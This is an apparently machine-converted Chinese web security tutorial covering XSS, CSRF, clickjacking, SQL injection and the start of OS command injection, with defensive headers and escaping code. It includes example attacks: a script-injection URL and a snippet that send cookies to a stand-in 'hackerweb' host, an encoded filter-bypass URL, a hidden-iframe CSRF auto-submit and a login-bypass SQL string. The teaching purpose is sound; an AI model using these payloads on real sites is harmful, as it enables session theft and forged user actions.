常見Web攻擊和防護

時間 2019-12-02

標籤常見 web 攻擊防護欄目 HTML 简体版

原文原文鏈接

1. XSS 跨站腳本攻擊 (Cross Site Scripting)

攻擊方式

1. 反射型 - url參數注入

場景: 誘導已登錄用戶點擊有害連接(較明顯)php

連接內容:html

注入攻擊站腳本 http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
短域名僞造, 會重定向到有腳本注入的url https://dwz.cm

http://hackerweb/hack.js會竊取用戶登陸態信息等, 如document.cookie 利用img等html元素髮送向hackerweb發送帶有cookie信息的請求, 從而黑客後臺可獲取到登陸態信息前端

2. 存儲型 - 將script標籤注入到數據庫

場景:mysql

在網站的評論裏(任何可以保存內容的地方)輸入帶有攻擊腳本的文本, 提交後存入數據庫, 再次渲染時攻擊腳本執行web

危害

殺傷力較大, 至關於徹底控制網站正則表達式

獲取cookie

document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接獲取登陸態
複製代碼

發送請求獲取登陸態 cookie

var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie
複製代碼

獲取頁面數據
修改前端邏輯
竊取一切前端可達數據：用戶資料, 登陸密碼...

防護 (5種)

1. 轉義字符防止在沒必要要的地方渲染script標籤

尖括號 <script> 轉義爲 <p> 不容許渲染不受信任的腳本 - 轉義html標籤設置轉義黑名單, 白名單:sql

// 黑名單
function escape(str) {
  str = str.replace(/&/g, '&amp;');
  str = str.replace(/</g, '&lt;');
  str = str.replace(/>/g, '&gt;');
  str = str.replace(/"/g, '&quto;');
  str = str.replace(/'/g, '&#39;');
  str = str.replace(/`/g, '&#96;');
  str = str.replace(/\//g, '&#x2F;');
  return str;
}

// 白名單
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html);
複製代碼

2. 防止執行跨站腳本: 設置 HTTP請求頭 X-XSS-Protection

X-XSS-Protection report-uri數據庫

// ctx.set('X-XSS-Protection', 0) // 禁用XSS過濾
ctx.set('X-XSS-Protection', 1) // 默認 檢測到XSS, 清除攻擊腳本
ctx.set('X-XSS-Protection', '1;mode=block') // 檢測到XSS, 禁止加載頁面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 檢測到XSS,清除頁面並使用CSP report-uri 指令的功能發送違規 報告
複製代碼

測試:後端

攻擊Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>瀏覽器

當網站發如今請求裏面有腳本, 不會執行. 報錯:

The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.

!!!可是!!! 假裝一下就不行了! 如下url仍是能夠攻擊成功:

http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E

3. 防止執行跨站腳本: 設置 HTTP請求頭 Content-Security-Policy CSP

內容安全策略Content-Security-Policy

ctx.set('Content-Security-Policy', "default-src 'self'") // 只容許加載本站資源
ctx.set('Content-Security-Policy', "img-src https://*") // 只容許加載HTTPS協議圖片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不容許加載任何來源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多條規則
複製代碼

CSP指令:

default-src：爲其餘取指令提供備用服務fetch directives.
style-src: 限制層疊樣式表文件源
script-src: 限制JavaScript的源地址.
connect-src：限制能經過腳本接口加載的URL.
img-src: 限制圖片和圖標的源地址
child-src: 爲 web workers 和其餘內嵌瀏覽器內容（例如用和加載到頁面的內容）定義合法的源地址.
frame-src: 設置容許經過相似和標籤加載的內嵌內容的源地址.
worker-src: 限制Worker、SharedWorker或者ServiceWorker腳本源.
更多: developer.mozilla.org/zh-CN/docs/…

檢測到不符合安全策略的內容, 報錯:

Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".

4. 防止竊取cookie: 設置相應請求頭 Set-Cookie HttpOnly

預防cookie被竊取, 沒法經過document.cookie獲取信息, 瀏覽器依然會在請求自動帶上cookie 是預防XSS攻擊竊取用戶cookie最有效的防護手段!

// 設置Cookie時, 設置爲HttpOnly
response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
複製代碼

2. CSRF 跨站請求僞造 (Cross Site Request Forgery)

CSRF 利用用戶已登陸的身份, 在用戶絕不知情的狀況下,以用戶的名義完成非法操做

攻擊方式

場景:

用戶已經登陸了站點 A,並在本地記錄了 cookie
在用戶沒有登出站點 A 的狀況下（也就是 cookie 生效的狀況下）,訪問了惡意攻擊者提供的引誘危險站點 B (B 站點要求訪問站點A).
站點 A 沒有作任何 CSRF 防護

模擬發送請求(僞造請求), 由於普通用戶已經登陸, 模擬請求會帶上登陸態cookie, 從而能夠操做(攻擊)成功不直接獲取cookie, 利用瀏覽器行爲, 利用登陸態

document.write(`
      <form name="form" action="http://Aweb/updateText" method="post" target="csrf">
        添加評論: <input type="text" name="text" value="CSRF評論.." />
      </form>
      `)
      var iframe = document.createElement('iframe') // 靜默加載
      iframe.name = 'csrf'
      iframe.style.display = 'none'
      document.body.appendChild(iframe)
      setTimeout(function() {
        document.querySelector('form').submit(); // 默默提交請求
      },1000)
    </script>
複製代碼

危害

利用用戶登陸態
用戶不知情時攻擊
完成業務請求
盜取用戶資金（轉帳,消費）
冒充用戶發帖背鍋
損害網站聲譽

防護

1. Referer Check

驗證Header的 Referer字段是本站地址才容許經過

缺點:僅對Http有效, Https不發送referer

2. 驗證碼

請求須要驗證碼輔助

缺點: 用戶體驗很差, 較麻煩

通常只用於關鍵請求中

3. Cookie值進行hash

攻擊者在訪問信任網站A時, 雖然瀏覽器能夠在請求中帶上cookie, 但網站A能夠不只僅經過cookie來驗證用戶身份, 同時還驗證給用戶發送內容時生成的僞隨機數, 雙重驗證, 這個僞隨機數不能利用瀏覽器機制自動加到cookie上, 須要在腳本里面加上, 從而讓CSRF攻擊者沒法利用僞隨機數, 也就沒法經過驗證用於多數請求中

3. ClickJacking 點擊劫持 (視覺欺騙)

攻擊方式

既不竊取cookie也不利用cookie, 視覺上欺騙用戶主動進行操做

場景:

在攻擊網站上嵌入渲染網站A的frame, 並設置爲透明, 在攻擊網站設計一些按鈕或input 精準對準網站A的按鈕或input, 用戶操做時實際上不知道本身在網站A作了什麼, 從而達到欺騙用戶的目的

危害

用戶不知情時攻擊, 執行了用戶不但願的操做

防護

1. X-Frame-Options

X-Frame-Options

ctx.set('X-Frame-Options', 'deny') //表示該頁面不容許在 frame 中展現,即使是在相同域名的頁面中嵌套也不容許.
ctx.set('X-Frame-Options', 'sameorigin') // 表示該頁面能夠在相同域名頁面的 frame 中展現.
ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示該頁面能夠在指定來源的 frame 中展現. !!!(Chrome不支持 Firefox支持)
複製代碼

2. js自身經過frame的方式加載內容是破壞自身

是一種比較原始的解決方案

if(self !== top) { // 從frame加載
      self.document.body.style.display = 'NONE';// 隱藏或刪除body的內容
      self.document.body.innerHTML = ''
    }
複製代碼

4. SQL注入

針對數據庫的注入

攻擊方式

場景: 輸入特殊字符串, 傳入後臺拼接SQL查詢字符串, 使其查詢結果爲真密碼輸入 1' or '1' = '1' 後臺查詢密碼時返回 '1' = '1'的結果, 爲真

危害

虛假登陸
...

防護

1. 數據使用傳參的方式, 不使用字符串拼接的方式

全部的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中,即不要直接拼接 SQL 語句.例如 Node.js 中的 mysqljs 庫的 query 方法中的 ? 佔位參數.

2. 數據校驗

後端代碼檢查輸入的數據是否符合預期格式,嚴格限制變量的類型,例如使用正則表達式進行一些匹配處理

3. 嚴格的權限管理

嚴格限制Web應用的數據庫的操做權限,給此用戶提供僅僅可以知足其工做的最低權限,從而最大限度的減小注入攻擊對數據庫的危害

4. 特殊字符轉義

對進入數據庫的特殊字符（',",,<,>,&,*,; 等）進行轉義處理,或編碼轉換.基本上全部的後端語言都有對字符串進行轉義處理的方法,好比 lodash 的 lodash._escapehtmlchar 庫.

5. OS命令注入

攻擊方式

針對操做系統的注入 OS命令注入和SQL注入差很少,只不過SQL注入是針對數據庫的,而OS命令注入是針對操做系統的. OS命令注入攻擊指經過Web應用,執行非法的操做系統命令達到攻擊的目的. 只要在能調用Shell函數的地方就有存在被攻擊的風險.倘若調用Shell時存在疏漏,就能夠執行插入的非法命令.

場景:

system命令注入